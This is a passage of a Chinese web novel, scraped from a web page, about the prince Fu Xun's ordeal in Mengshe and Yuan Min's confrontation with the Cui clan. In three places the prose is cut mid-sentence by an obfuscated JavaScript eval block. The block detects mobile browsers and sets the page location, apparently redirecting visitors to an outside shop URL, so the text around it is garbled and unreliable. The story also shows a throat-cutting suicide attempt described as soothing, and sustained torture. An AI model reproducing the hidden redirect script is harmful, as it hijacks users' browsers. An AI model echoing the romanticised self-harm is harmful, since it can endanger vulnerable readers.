山风肆掠,卷起那浅灰的细粉,纷纷扬扬似一阵细濛濛烟雾,须臾后便已消散无痕。 苻洵胸口剧痛、喉头腥甜,鲜血一口接一口喷涌而出,在石地板上绽出一串血红的莲花。 然后,他的世界彻底黑了下去。 . 好冷,夜风带着露气缠绕在指尖,他艰难地将眼皮撑开一线,漫天星河倒悬在黑色的天空,璀璨至极、也幽冷至极。 火盆架上的火焰燃得蓬勃旺盛,他还在广场上,只是被抬上了那方处决母亲骨灰的白石,试了试手脚,四肢仍然没有一丝力气,只有手指能勉强蜷伸。 破碎的瓷片散落在身侧,苻洵艰难地蜷缩、舒张手指,撑着手臂一点一点移向碎瓷片,终于抓住了一块,瓷片内壁还残留着点点粉末,他将其紧紧握在掌心,像是感受着母亲的触摸和体温。 手臂的力气恢复了一点,他用力弯曲手肘,将碎瓷片藏在身子下面,再蜷伸手指、撑着手指移向下一块碎瓷片…… 夜风中传来清晰的对话声,不远也不近。 蚩越声音满是惶恐:“多谢陛下开恩,赦免诃那性命,使其不必受万蛊噬身的苦楚。” 蒙舍王道:“律法如此,有苦主宽宥就能赦免性命。” 巫王沉吟道:“陛下仁慈,原也没打算真给他万蛊噬身、顶多是火刑,何况那位冯四郎提到,诃那孤身过边墙毫发无损……” 苻洵正在抓握瓷片的手蓦然一顿。 蒙舍王嗓音带笑:“幸亏他提到此事,诃那天分极强,可能不输缈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981235|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露,圣子圣女断代多年,贸然杀掉岂不可惜?” 又喟然长叹:“冯四郎言之有理,咱们之前给圣女圣子的活动范围太大,致使缈露携子出逃,我蒙舍险些多损失一名圣子。” “确实,在碧水河范围内就够了”,巫王连连附和,又问,“冯四郎究竟是何人,竟身负神鸟之血?” 蒙舍王道:“凤凰之后,还能是谁?” 苻洵攥紧瓷片,扯动嘴角对着夜空笑起来,讥诮、讽刺、悲凉、绝望。瓷片上的尖锐棱角刺入手心也浑然不觉,鲜血从指缝流出,滴在身下的白石上,一滴、两滴…… 脚步声渐行渐近,蚩越走过来掰开他攥紧的手,他没有力气,眼睁睁看着染血的瓷片被拿走。 蛊王宫的弟子跑过来,替他包扎受伤的手,将他抬上担架。蚩越一边流泪,一边收拾白石上的碎瓷片,脱下外袍小心翼翼地包好。 “诃那,你娘亲犯了错,律法如此,不要太难过、也不要怨恨”,被抬着前行的担架有些晃,蚩越跟在一侧边走边说,“外公只有你了。” 又含泪露出劫后余生的笑:“原本还想拼着这条命也送你逃出去,多亏你的朋友仗义执言。” 是啊,多亏元旻。 苻洵用尽所有力气张嘴,开开合合,模糊而艰涩地重复着三个字。 “让!我!死!” . 蚩越从银盆里拧干帕子,擦了擦苻洵额头的汗,解开他身上的蛊,再给他灌下一碗安神汤,然后带着弟子退了出去。 脚步声越来越远,躺在床上昏迷的人睁开双眼,起身走到窗前,打开从山外带进来的包袱:香囊、错金刀、碎簪、小像画卷…… 窗子半开,银盆中的水倒映着天心一轮亮白凸月,他伸出手去,指尖触及水面的瞬间,月亮碎成千万碎片。 曾经,他只想和母亲永远生活在渝安那个小屋子里。——母亲万蛊噬身,撇下年幼的他无依无靠。 然后,他挖空心思,只想得到父王喜爱。——父王将五岁的他送往翊国为质。 后来,他无底线、无操守,只想在昇阳活下去。——被虐杀的命运如影随形。 再后来,他想为哥哥谋划个好前程,让他看到自己就高兴。——苻沣虽极力包容他,却已认定他是乱臣贼子。 他想得到她的芳心,让她也心悦他。——她头顶最终簪着的,是木槿而非芙蕖。 就连最后这点渴求归宿的痴念,都踩着娘亲纷飞的骨灰。 凡他所求,皆不可得;凡他所冀,皆成泡影。 他转过身,看着镜中的自己,慢慢将短匕贴上脖颈,冰凉的触感、轻柔得像十八寨那晚的抚摸。 手臂轻轻用力,划过…… 不疼,只感觉说不出的舒畅和满足,好似所有的痛苦和不甘都随着血液一点点流走,忍不住又切得深了点。 这世间太糟糕,下辈子不来了。 父王那样穷兵黩武的人,都有天下缟素,他却只配悄无声息地腐烂; 长兄那样卖国求荣的人,都有三哥维护,他却只配被叱作乱臣贼子; 元琤那样倒行逆施的人,都有群臣拥戴,他却只配一步错、步步错; 蒙舍王将娘亲挫骨扬灰,外祖不怨不恨,他却只配看着至亲灰飞烟灭; 元旻寥寥数语将他永困深山、生不如死,他还要对元旻感恩戴德。 为何,他们都风光无限、随意决定别人命运,他却只能在绝望中一点点放干自己鲜血? 无他,律法是他们定,是非是他们评,对错是他们判。 无他,窃钩者贼,窃国者王也。 血流得越来越多,视线越来越模糊,脑子却越来越清明。 苻洵注视着镜中另一个自己,笑了。 伸手掀翻银盆,倒影水中的月亮霎时湮灭。 凡所有相,皆是虚妄。 泪干了、血流了,眼里只剩一望无际的平静。 26. 死生契阔 阿七站许愿雪松下,抬头看向枝叶间随风轻晃的木牌,若有所思。 元旻将木牌和笔递过来,提醒她:“挂上许愿树要用真名。” 阿七接过,写下一行字,忍了又忍,还是偏头去偷看元旻手中的木牌,被轻巧躲过。 元旻伸手:“拿来,我挂上去。” 阿七忙护着自己木牌,先跃上树梢,毕恭毕敬挂好。 元旻忽然出现在她身后,一眼瞟见木牌上的字,笑容一滞,然后若无其事将自己的木牌挂到旁边。 岂料刚一落地,阿七忽折腰往后一滑,拧身再度飘上树梢,一眼瞥向元旻那张木牌,僵了一瞬,又立即舒展笑靥跃下,跟上元旻。 木牌摇摇晃晃,拂开遮挡的松枝,上面两行字荡悠悠的。 ——愿吾主上元旻功业千秋。阿七。 ——愿吾爱妻舜英一世顺遂。元旻。 半山木亭里,一人身着素色长袍,背对石阶长身玉立,似已等候多时,听到脚步声之后转过身来,正是苻洵。 “得知冯兄即将归乡,特来送行。” 两天不见,他清减很多,眼眶微微凹陷,眼神却十分平静。目光下移,左侧颈部有一条突兀的刀伤,血淋淋横在那,离颈部动脉只差半分。 阿七骇然一怔,失声惊呼:“你脖子怎么了,疼么?”忘了元旻还在,靠上去仔细端详。 苻洵微笑着注视她急切的模样,温柔地说:“多谢关怀,以后都不会疼了。” 阿七松了口气、点点头,旋即回身向元旻跪拜,请求先下山整理行装。 元旻静静看了她半晌,点头应允。 若有所思地目送她越走越远,远到看不见了,才回过神来看向苻洵:“多谢相送,愿侯爷此生所求,都得偿所愿。” 木亭内的桌上摆着两只空碗和一坛酒,桌旁有一桶清水。苻洵先将酒碗浸入清水、洗净纤尘,再用洁白无暇的丝帕擦干水珠,最后捧起酒坛、将酒液斟满两只酒碗。 苻洵将其中一碗递给元旻:“以此薄酒,谢殿下救命之恩。愿殿下此去,所向披靡、大业得成。” 元旻瞥了他片刻,唇角噙笑,温声说:“举手之劳而已,恭喜建业侯能承欢膝下,享天伦之乐。” 苻洵笑容泰然:“在下年幼失怙失恃,颠沛流离至今,现得一安身立命之归宿,实乃毕生之大幸。” 语罢,举起酒碗,将碗中薄酒一饮而尽。 元旻微笑颔首,也举起酒碗,将碗中薄酒一饮而尽。 . 阿七随元旻离开蒙舍王城后,跟着寨民往东北行了快二十日才出蒙舍北限。 已至八月,秋风逐渐萧索,林间偶有金黄的阔叶飘摇坠落,地势也逐渐平坦,但见山随平野尽,江入大荒流。 这二十多天,元旻一路始终神色淡漠、若有所思,除了必要的寥寥数语,几乎一言不发,阿七也默默跟了一路。 元旻止住步伐,垂目轻声问:“你就没有什么要跟我说的?” 阿七一怔,立即噗通一声跪地,高喊道:“卑职有罪,请主上责罚!” 元旻没有说话,目不转睛地注视着她。 阿七将短刀平平举过头顶,递到元旻手边,正声道:“其罪一,早知“七情”是谁交于元琤未及时上报。” “这个我早猜到了,毕竟来蒙舍国正是受他指引”,元旻平静地打断,脸上忽然掠过一丝惊讶和失望,“你不告诉我,是怕我杀了他?” “他一弱国质子,迫不得已的保命之举,卑职觉得不该严加苛责”,阿七将头埋得更低,刀抬得更高,下定决心艰涩地说,“其罪二,因卑职的一点私念,向主上求一个恩典:事成之后,请允卑职功成身退,不再随侍主上左右。” 元旻身躯一震、如坠冰窟,惊愕地看向她,呆愣半天回不过神。 阿七没有等到他回复,想了想继续说:“卑职绝无背主之意,主上若有疑虑,卑职即刻以此明志。” 话音刚落,短刀已然出鞘,唰地挥向自己脖颈。 “住手!”元旻瞬间怒了,一把攥住她挥刀的手,反手一拧,她手中短刀掉落在地。 他没有松手,攥着她的手狠狠往上拉,将她拉得站立起来,逼视着她,一字字问,“看好了,我是谁?你又是谁?” 阿七避开他目光,声音弱下来,却毅然决然:“殿下是大翊未来的王,也是我唯一的主上;我是你的东宫伴读,也是你忠诚的追随者。” “好!好得很!”元旻冷笑着倒退了几步,突然不认识她了,“转过来,看着我!” 阿七抬头,两眼泛红,目不转睛与他对视。 元旻与她对视许久,眼神逐渐黯然,弯了弯唇角淡淡道:“出了这个林子,这里发生的一切,我们都忘了吧。” 阿七眼圈更红了,埋下头轻声道:“好。” 他唇边依然挂着笑:“你走前面去探路吧。” 阿七不明所以,却还是顺从地捡起短刀收回鞘,恭恭敬敬地面向他、躬身退了数步,才转身向江边走去。 目送着她走远,他抽出腰间佩剑,透过光亮如镜的刀身与自己对视。许久之后,他忽然笑起来,笑声悲怆。 那湾清澈水池外的耳鬓厮磨,三江村荜门蓬户的同床共枕,密林里心有灵犀地并肩作战,碧水河畔篝火堆前的婆娑起舞,百年雪松上随风摇晃的心愿木牌…… 那些温柔旖旎的画面,一帧又一帧碎在眼前,其他画面一帧帧挤进来。 红梅树下痴痴仰望的眼眸,吊脚楼曲廊上越靠越近的两张脸,相对无言泪千行、轻柔的抚摸,重逢时难以克制地关怀…… 江风吹过来,吹得他心都凉透了,抬头闭上眼,两滴泪从眼角无声滑落。 “一个多月,就差一个多月……” “相依相伴十八年,还不值你们寥寥几面?” 他的唇角因悲愤而颤抖,霍然回身,长剑划出一道雪亮弧光,指向西南。 “你也要背弃我,就为了一个声名狼藉的浪荡子,背弃我!” . 元旻脚步飘飘忽忽走到江边,阿七正站在那看向空荡荡的波面,一脸郑重和诧异。 此刻的长流川,不似往日帆樯如云,极目望去只见烟波浩渺、无半片帆影,更别说守着等他们的那艘船。 元旻看了看四周,从林子里拖出一艘朽烂的木筏,拢了一堆柴叶在上面,点燃,用足力量往江心一推。木筏飘出不足十丈,对岸翻涌的雾气里飞出数枝羽箭,夺夺夺将木筏钉得跟个刺猬一样。 阿七微愕:“戒严了?” 元旻点点头:“怕是已跟荣国开战了,取几个信号烟花来。” 阿七忙从包袱里拿出五个烟花给他,见他正对方才羽箭射来方向逐一放出,有点着急:“殿下,那可是翊国西陵水师。” 元旻好整以暇道:“你猜,我当初为何要在西陵上岸?” 很快有战船靠来,甲板上水手连连高声呼喝,元旻却巍然不动地站在岸边,面无表情、不怒自威。直到水手放下跳板走下来,才出声问:“西陵水师指挥使周士承何在?” 声音沉稳而平静,却蕴着风雷之势。 水手大怒:“竟敢直呼指挥使名讳!” 阿七走到水手面前,出示东宫令,厉声呵斥:“放肆!” 该船管代忙迎下来,恭声道:“实是不知殿下驾临,指挥使领命出兵,估摸着已到阜门峡了。” “果然沉不住气”,元旻冷冷嗤笑,“立刻派快船,送本宫去阜门峡。” 商船半个多月的路程,战船只用了一天一夜。 刚靠近主舰,阿七就听到撕心裂肺的哭喊,声音有些耳熟:“我娘只是一介商妇,求大人放她一条活路。” 她顿时心一沉,与元旻对视一眼,表面不动声色,却已等不及放下跳板,就地借力几步跃上主舰甲板,高喝:“住手!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981236|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然一眼就看到跪地哭求的云秉奕,而主舰前端早已架起数架弓弩,对着雾中隐隐绰绰的一艘战舰蓄势待发。 景樊的声音在对面响起,带着泪意:“燕燕,回去吧,不值得。” 阿七拿过千里镜看向对面,霎时惊呆了。 只见景樊头发蓬乱、满脸黑灰、全身血污、战甲破损,仍杵一根长槊强撑着,在船头站得笔直。云飞燕双臂大张站在他前方,面向着这边,就那样纹丝不动地、挡在他与翊国战舰之间,推不动也拉不开。 身后传来一个声音:“臣周士承,征和八年武进士,现任西陵水师指挥使,拜见四殿下!” 元旻冷叱:“收起弩箭。” 周士承的声音不卑不亢:“臣如今领王上之令攻打渝安,敢问殿下如何叱令臣收起弩箭?” 元旻容色凛然,一字字道:“你起兵,奉的是逆王的令,如今叱令你停战的,才是大翊正统的王!” 周士承一挥手,带出一排双手捆缚身后的人,为首的一位看服饰是文官。他指向那位文官,又问:“闻烨大人乃是闻氏三房嫡长孙,也是现今王上钦差的水师督军,敢问殿下如何处置?” 元旻面无表情走过去,拔出佩剑决然挥落,闻烨顿时血溅五尺、身首异处。然后,他将滴血的剑丢给阿七,环视四周众军,声音平静而冷漠:“攀附逆王,诛无赦!” 周士承“锵”地跪地,高呼:“臣周士承,遵王上谕令,西陵水师之中有攀附逆王之人,杀无赦!” 甲板上所有武官、兵士也随周士承铿然下柜,齐齐高呼:“王上万年!谨遵王上谕令!” 早已被周士承清理出来的元琤耳目,被捆缚双手纷纷推到甲板上。兵士们手起刀落,血如泉涌,将长流川晕出一片殷红。 元旻一言不发,目光冷冷扫过周士承。 周士承头埋得更低:“谨遵王上谕令!” 站起来,反身面向众将士,高声叱令:“西陵水师众将士听令,停战,返航!” 哭求半晌的云秉奕终于松了口气,四肢颤抖着瘫软在地; 对面门舰上,云飞燕回头深深看了景樊一眼,一言不发地走开;在她的身后,景樊终于支撑不住、轰然倒地。 景樊在倒地之后,由兵士搀扶着站起来,躬身、对着正在远去的西陵水师遥遥一拜。 元旻站在船头甲板上,凝视着飞速分开的波面,忽然道:“开阳就在西陵,靠岸后,你先跟他去龙城司南侯府?” 阿七正埋头擦拭他的佩剑,一听这话讶然抬头:“主上是别有交代?” 元旻摇头:“崔长治的军营,太森严了,此行我并无十足把握。” 阿七注视他的背影,声音很轻、却很坚决:“正因危险,卑职才更该紧随主上。” 元旻转身看向她,眼神复杂而不解,柔声问:“你不是说想功成身退么?何不早些避开危险,留好这条命?” “不是还没功成么?”阿七眼神满是疑惑不解,“卑职发了誓要追随的,就算要退,也要确定殿下安然无虞吧。哪有主上身陷险地,作护卫的反倒酣然高卧的道理?” 元旻手一颤,声音带了几分急切:“你还愿意与我同生共死?” 阿七一头雾水,不知他为何如此问,依然单膝跪地,举起右手、紧握成拳按在心口上,神色肃然地抬眸仰望他,语气坚决:“死生契阔,与子成说。从前是,现在也是。” 元旻唇角不自觉上扬:“好,我们就像以往那样,龙潭虎穴也同进同退。” 阿七笑了笑宽慰说:“殿下莫要多虑,崔夫人当年犯下谋逆大罪,先王仁慈才未祸延崔氏全族,崔长治哪来的底气同主上叫板?” 元旻叹了口气:“你可知,当年父王对我如此看重,却拖了多年没有立储?” 阿七蹙眉思索:“不是因为先王当年春秋鼎盛么?不,那只是台面的说法……难道?” 元旻点头:“正是因为元矅。” 27. 主辱臣死 元矅是崔夫人所出的第三个儿子,也是昭王第八子,这个被以日月星辰赋名的王子,从小就表现出不输元旻的聪慧,却比元旻更活泼外向,又是崔夫人所出,深得昭王喜爱。 那孩子比元旻小七岁,若长到现在,也该十三岁了。 可他长不到十三岁了,征和十九年的春天,那孩子溺死在毗邻兴庆宫的一方荷塘之中,永远留在了八岁。 冯姮脱簪素服,在勤政殿跪了半月,自请失察之罪;元旻被幽禁,景和宫、兴庆宫被翻来覆去查了十几遍,却什么也没找到。 最后查出来是浮玉宫的宫人,因族妹被三王子骑马不慎踩死而心怀怨恨,也以此草草结案。 崔夫人信与不信,却是另一回事了。 于是就有了征和十九年冬,崔夫人携子谋逆。 “换做是我也不信”,元旻苦笑,“阿曜是在兴庆宫旁没的,他没了后,父王就开始安排分封诸子,获利最大的是我,景和宫和兴庆宫却干净得一点线索都查不到。” 干净、太干净了,每个宫人都能充分明证自己毫无瓜葛。 而与这两宫能扯上关联的主子,包括内外命妇、伴读,甚至是一直行踪飘忽的阿七都刚好有官面的明证。 阿七忽然疑虑:“那半月我去了何处,怎么没有印象?” 元旻提醒道:“你当时拿了我的东宫令,去龙津围场救人,花了一个多月送到龙骨关……” 心头蓦然一动,如此推算,阿七当时解救并护送的人,居然正是苻洵。 苻洵,又是苻洵。原来他们命中的纠葛,开始得如此之早。 阿七极力回想了一阵,依旧一脸茫然。 元旻只当她刻意遮掩,拉回话题:“宫人三千,母后再如何能干也不可能面面俱到,越干净看去就越可疑。” 在外人看来,更像是他们母子安排得当、蓄意谋害,先王再包庇了他们。 于他们,却是有人事先布置好杀局,再把他们母子刻意地一个个摘得干干净净。摘不干净也无妨,搭进去两个天资最高的王子,虽比不得崔氏被杀更能令五姓兔死狐悲,却也差不太多。 待昭王百年之后,继任者若不继续新政,大权必将旁落勾连颇多的元琤手中;若无足够手腕却强行实施新政,更是斗不过在多家门阀树大根深的亲叔叔。 阿七捋了捋思路:“元琤从……某人手中得到一种奇毒,伺机下给了先王,再找人杀掉八王子并嫁祸给兴庆宫,同时清理痕迹。如此一来,这莫须有的罪名,兴庆宫接也得接,不接也得接。” 元旻点头:“确实,自从二哥三哥过世,五姓及诸世袭列侯,就对父王颇有怨怼。” “他们从未觉着这是谋逆,反一致认为父王培养我,这个流着异族血统的王子为继承人已是不妥,还为他逼反逼死了自己与发妻的儿子。” 阿七暗叹,大翊门阀错综勾连竟至于此,元旻就算日后继承大统,在这张密不透风的大网里推行先父遗志,该是怎样艰辛,怎样地心力交瘁? 忍不住看向元旻,却发现他正注视着自己,眼神复杂而悲伤。 . 镇南公府已设立七八百年,地处金州,其周围戎陵群山、蓥山、摩云群山、夔山、木城山东西近千里层峦叠嶂,同时遏长流川的最大支流夏河,历来为兵家必争之地。 最初的设立,是为了平定群山之中剿灭不尽的匪患,防守蓥山以西的古虞国,以及策应伊河以北的上阳郡。 开国之初,崔氏祖上为翊太祖得力干将,数百年来不冒进、不贪大,兢兢业业苦守深山,后嗣枝繁叶茂、人才辈出,而其他世家逐渐凋落,金州崔氏渐成五姓之首。 当年,昭王以罪妃之子的身份高娶崔采薇,得镇南公崔长治倾力相助,才得以在朝中崭露头角、并获得夺嫡的资格。因这份从龙之功,终其征和一朝,昭王都对崔氏子弟尤其重用。 数十名府兵抽刀亮剑,齐刷刷对准不待传唤、径直往里走的元旻和阿七,二人始终神色淡然。 府兵一直跟到书房门口,听里面传出中气十足的“带进来”,才刀尖归鞘,放他们进屋后关上门,转身守在门口。 崔长治年逾六旬、须发花白,却甚是英武,至今仍精神矍铄,正坐在书岸前看兵书。二人进去时,他眼皮都没抬一下,身边的次子崔玄武、三子崔玄义、五子崔玄仁亦是对来客视若无睹。 元旻躬身长揖:“晚辈元旻,见过镇南公。”连请了三遍,一屋子人依然纹丝不动。 元旻唇角噙笑,好整以暇地拉过阿七,在旁边椅子上坐下。 崔玄武一声断喝:“谁允你坐下的?” 阿七冷笑:“堂堂大翊四王子,入你臣子内堂,如何坐不得。” 崔玄义嗤笑:“北宛女人生下的丧家之犬,戕害手足的宵小,也敢妄称王子?” 崔玄仁则对崔长治恭声道:“父亲,王上正在找寻荣国内乱中走失的质子,咱们是送他去灵昌还是昇阳?” 元旻依然微笑看向崔长治,八风不动。 待那三人你一言我一语讲完,笑意更深,认真询问:“灵昌还是昇阳,国公以为哪里更好些?” 崔长治冷哼一声,将兵书重重摔到桌上,“见老夫作甚,替你那白眼狼爹请罪么?” 阿七攥紧了拳头。 元旻唇边挂着笑,眼神却毫无笑意,注视着崔长治,字字掷地有声:“晚辈来此,请国公支持新政!” 一语出,四座惊,轰然大笑。 崔长治像听到天大笑话:“我崔氏世代公卿,为何要支持什么新政,选些寒门微芥上来污了眼?” “因为大翊不止是元氏的大翊,也不只是五姓之大翊,更是万民之大翊”,元旻目光霍然冷厉,逼视着崔长治,“而天下,不止一个大翊。” 崔长治的大笑停了一瞬,笑得更大声:“什么北宛从奴隶中选拔勇士出将入相,蒙舍以斗蛊斗巫擢选历代蛊王巫王,不过是蛮夷小民,国无良才出此下策,我大翊人才济济…” “人才济济却不尽出自世家”,元旻张口截断话头,“世家绵延数代,族中庸碌纨绔者有多少,如崔氏子弟才学兼优者又有多少?” 崔长治笑声止住,冷冷道:“少来戴高帽子。” 元旻笑容不减:“况世家联姻至今,关系错综复杂,以闻、裴为例,不事军政、专营心机、谄媚逢迎、把持朝堂,竟成顺昌逆亡之态。” “强敌环伺,如此朝堂,到底经得起几次风浪?国公若真认同此状,四年前何不振臂一呼支持逆王,也送族中子弟进去分一杯羹?” 崔长治傲然道:“我崔氏不屑此等蝇营狗苟,况你说的那些寒门微芥,他们只知圣贤书的条条框框,如何比得上我崔氏千载家学?” 元旻不疾不徐,针锋相对:“那就先入仕微末小官,再考校功绩,逐步擢拔,一群干干净净从耕读之家成长起来的文官,司农、司工、司造,哪样不比那些五谷不分的纨绔强?” “至于武官,国公不是素爱向父王推举军中男儿么,难道也只是为了氏族交情?” 眼神忽然带上了些探究,笑得有些意味深长:“国公果然高洁,可是从夏河运来的军饷粮草已有两年不济了。” 崔长治沉吟不语,崔玄武却是一惊,转瞬怒道:“你元氏争权夺利,却祸及边防 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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元旻忽淡淡笑了:“她之言行皆由我授意,三位将军何必与她为难?下去吧。”后三个字是对阿七说的。 阿七缓缓放下短刀,崔氏三子一拥而上将她按倒在地,练了十多年的轻身工夫终究抵不过三股橫练蛮力,被结结实实五花大绑起来。两名府兵开门进来,将刀一左一右架在她脖颈之上。 她浑然不顾,看向元旻,倏然睁大双目,失声惊呼:“不!” 只见元旻注视崔长治良久,起身站得笔直,而后振衣撩袍,双膝跪下,腰身笔直,沉声道:“第一跪,我父求娶令嫒,却未尽照拂之责,晚辈代父向岳丈请罪!” 三叩首,铿锵有声。 “第二跪,我母身为中宫,未能明察秋毫,致使八弟为奸人所害,晚辈代母请罪!” 阿七痛苦地闭上双眼。 “此两跪,乃为父母尽孝之举,无关国体”,元旻平静地站起来,话音掷地有声,“至于谋害、逼反之罪,实不敢当,国公就算在此了结了晚辈,未做之事亦是不敢当!” 崔长治冷笑:“好个铁骨铮铮的汉子!” “其二,采薇与先王相交于微时,被冯姮一搅合,末了末了,好好的原配结发成了小妇妾婢,若能将她以王后之礼与先王合葬,你我之事还有商榷的余地。” 元旻凝视他半晌,缓慢而坚决地摇头:“世间安得生死两王后,晚辈如此行事,将家母置于何地?恕难从命!” 崔长治勃然大怒,高喝:“好个有情有义的四王子,若非你是冯姮所出,老夫倒有些钦佩了,来人,送元旻殿下!” 28. 十万大山困我身 门再次打开,仆人端来一方托盘,上面两杯酒闪着幽冷的琥珀微光。 崔长治端起其中一杯倒进案头一盆寒兰,不到半刻茎叶焦黑枯萎。 再端起另一杯递到元旻面前:“老夫感佩殿下为人,却隔着血海深仇,就在此送殿下一个体面吧。” “崔长治,你敢!”阿七撕心裂肺地呼喊,扭身想挣脱出去,却被死死钳制,只能徒劳哀求,“不要喝……” 崔玄仁叹了口气,眼神悲悯:“姑娘,情深不寿啊。” 元旻回头看她,眼神有些说不清的孤寒萧索,笑容苦涩:“家臣所为皆听命于晚辈,还请国公莫要迁怒于她。” 端起酒杯,一饮而尽。 霎时,鲜血从他口中喷涌而出。 阿七难以置信地睁大双眼,张了张嘴,喉咙却哽住、发不出任何声音,只能徒劳地泪流满面。 这个曾寄托了她所有景仰、所有倾慕、所有梦想的人,这个泰山崩于眼前仍面不改色的人,这个无论何等绝境都能踏出生路的人。 就这样,再次倒在她面前。 如此轻易,如此潦草。 阿七肝胆欲裂,趁两肩压制一松,挣脱钳制扑上前,紧紧攥住元旻的衣袖泣不成声。 崔长治静静注视着她,似有所感。 只见她缓缓站起来,满脸泪水盯着他,被捆缚的身子无法行走,却重重一歪、用头撞向他,张嘴就咬,像是拼着一死也要从他们身上撕下几块肉来。 旋即,她后颈一痛,僵麻的感觉霎时传遍全身,她眼前一黑、什么知觉都没有了。 . 黑,好黑。 狭窄逼仄的空间里,充斥潮气、腥臭味、腐烂味。 窸窸窣窣的细碎响声,在黑暗中此起彼伏,像苟延残喘的呼吸、像垂死挣扎的哀泣、像脓血滴落、像□□腐烂…… 像苻洵六年前在龙津围场经历过的一切。 蝎子爬行的时候,尾部会簌簌振动,尾针锥在皮肤上先是剧痛,而后又痒又烫、逐渐全身都没了知觉。 蚂蚁总是成群结队行动,最喜欢钻进伤口、鼻孔、耳朵、嘴巴……在一切有孔的地方蠕动、噬咬,又痛又痒,像被无数绣花针刺来刺去,那疼痛并不剧烈,却因为数量太多,怎么都无法摆脱。 花蚰蜒也喜欢钻耳朵,但苻洵能在它们爬进耳朵前一刻,将它们扯出来撕碎。 蜈蚣是所有毒虫中最安静的,贴着岩壁、地面和石头缝,所以苻洵经常被蜈蚣咬到,起初是剧痛、伤口越来越肿,全身滚烫,然后肠胃翻江倒海,不由自抑地呕吐和抽搐。 蛇滑腻腻的,越小的蛇毒性越强,攻击起来快得像闪电、像影子,苻洵的武功以敏捷见长,却也没有它们快。起初他经常被咬到,后来他动作越来越快,被咬到的次数也越来越少。 但是被蛇咬到的痛苦最难捱,直到心脏停止跳动前一刻,他都是清醒的,清醒地感知蛇毒游走全身的痛,清醒地看着洞中其他毒虫一拥而上、将他淹没吞噬。 头顶亮起柔和的金光,所有毒虫轰地一声拼命逃窜,像退潮的海浪,他身周终于有了片刻清净。 垂死之际,金蝉从气孔钻进来,绕着他旋转飞舞,一点点驱散浸透他五脏六腑、游走他奇经八脉、渗满他全身的毒。 他又活了。 蚩越的声音在头顶响起:“诃那,你不能对抗它们、躲避它们,要学会与它们相处,驯服它们。你为主,它们为臣。” 苻洵已经忘了,这是第几次听到这句话。 这是他被扔进虿洞之后,第八十多次死去,虿洞一片漆黑,他早失去了时间的概念。 只有看到那柔和的金光在头顶亮起、又远去,他才恍然大悟——自己又死了一次。 蒙舍王对他的资质很满意,有志将他培养成无与伦比的圣子,但再好的天赋也是用尽废退,他在山外游荡了十几年,早已明珠蒙尘。 进入神庙接受册封之前,他还有很长的路要走。 要尝尽百草、复苏对草木之灵的感应,要徒步行遍各大主山、感知地脉…… 进虿洞只是其中一环。 最阴暗、最肮脏、最痛苦的一环。 蚩越很关心他,一刻不停地地守在洞外,一旦感知他呼吸微弱、心跳有异,就会从气孔放入金蝉、及时救活他。 进虿洞之前,他喝下一碗甜丝丝的温水,叫“百花露”,蚩越说一碗可以支撑他一天一夜的体能。 有时候,蚩越听他在洞内疯癫地惨叫、哀嚎、呜咽,会哽咽着问:“想要什么?” 他一遍又一遍,绝望地重复着那三个字:“让,我,死。” 起初,他忍着恶心在洞内摸索,想寻找尖利些的石头、硬一些的岩壁、或是坚韧一些的藤条,通通没有。 山洞内壁覆盖着厚而软的苔藓,扒开苔藓是滑腻腻、潮湿的泥土,他徒手挖了不知多久,也挖不到半块碎石。 后来,他拒绝进食,但饿着饿着会晕,晕过去会有人将他抬出去,继续灌下百花露,再扔回虿洞。 他甚至用牙齿咬破手腕,却发现除了引来更多的毒虫,没别的用处。 “百花露是蛮族至宝,不止抗饿,还能促使外伤愈合”,蚩越在洞外泣不成声,“这个洞是设计好的,没有任何寻短见的法子。” 求生不得,求死不能,一遍遍死去又活来,生不如死的酷刑地狱。 苻洵气若游丝地哀求:“求求你,放我出去,或者……别救我。” 蚩越很温柔地劝他,哄小孩吃奶的语气:“诃那,只要驯服这个虿洞,你就能出来了。” “到时候,暖和的阳光、干净的空气、漂亮的朝阳和晚霞、望不尽的山川河流……十万大山都会是你的信徒,所到之处都会对你顶礼膜拜。” 我没有十万大山,受封之后,我拥有的只是碧水河围起来的那簇山峰,那些层层叠叠压抑的宫殿庙宇,那个将我母亲困了十多年、再将她挫骨扬灰的——囚牢。 苻洵心里想着,却连抬抬手脚、或是完整说出一句话的力气都没有。 蚩越又说:“你天赋那么好,一定能出来的,外公在外面陪着你。” 苻洵想起,这句话,蚩越也说了无数次。 脸上传来零碎的啃噬疼痛,衣服碎成一条条挂在身上,身上不知爬了多少毒虫,黏腻腻的、怎么都甩不干净。 他庆幸虿洞中没有镜子,看不见自己此刻的模样。 但即使看不见,他也知道一定很丑,脸上身上被啃得坑坑洼洼、结满一层层血痂,到处都是泥、粘液、毒虫的残肢碎片…… 神思惚惚间,有个笑盈盈的声音在耳边响起:“好俏的脸,眼睛里像是有星星,嘴唇优美得像花瓣。” 